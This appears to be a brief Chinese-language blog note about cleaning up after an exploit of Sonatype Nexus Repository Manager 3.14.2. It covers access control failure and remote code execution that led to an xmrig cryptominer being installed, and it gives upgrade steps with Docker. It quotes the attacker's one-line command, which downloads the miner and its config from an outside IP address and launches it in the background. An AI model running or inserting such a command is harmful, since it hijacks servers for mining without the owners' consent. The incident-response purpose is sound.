Sonatype Nexus Repository Manager版本3.14.2访问控制缺失及远程代码执行漏洞

发现被执行的程序在xmrig在 /var/tmp/目录下

curl -o /var/tmp/xmrig http://202.144.193.159/xmrig;curl -o /var/tmp/config.json http://202.144.193.159/22.json;chmod 777 /var/tmp/xmrig;cd /var/tmp;setsid ./xmrig -c config.json &

config.json内容如下：

还有一个可 执行的程序

xrmrig,此程序会 导致cpu爆满

删除/var/tmp/目录下的文件，然后把 程序升级  ，用docker安装的升级如下：

docker pull docker.io/sonatype/nexus3 //会自动拉去最新版本
docker run -d -p 8081:8081 -p 5000:5000 --name nexus3 -v /root/nexus-data/:/nexus-data/ --restart=always sonatype/nexus3
